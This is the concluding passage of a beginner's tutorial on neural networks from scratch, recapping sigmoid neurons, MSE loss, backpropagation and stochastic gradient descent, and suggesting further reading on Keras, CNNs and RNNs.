Used the sigmoid activation function in our neurons.
Saw that neural networks are just neurons connected together.
Created a dataset with Weight and Height as inputs (or features) and Gender as the output (or label).
Learned about loss functions and the mean squared error (MSE) loss.
Realized that training a network is just minimizing its loss.
Used backpropagation to calculate partial derivatives.
Used stochastic gradient descent (SGD) to train our network.

There’s still much more to do:

Read the rest of my Neural Networks from Scratch series.
Build your first neural network with Keras.
Experiment with bigger / better neural networks using proper machine learning libraries like Tensorflow, Keras, and PyTorch.
Tinker with a neural network in your browser.
Discover other activation functions besides sigmoid, like Softmax.
Discover other optimizers besides SGD.
Read my introduction to Convolutional Neural Networks (CNNs). CNNs revolutionized the field of Computer Vision and can be extremely powerful.
Read my introduction to Recurrent Neural Networks (RNNs), which are often used for Natural Language Processing (NLP).

Thanks for reading!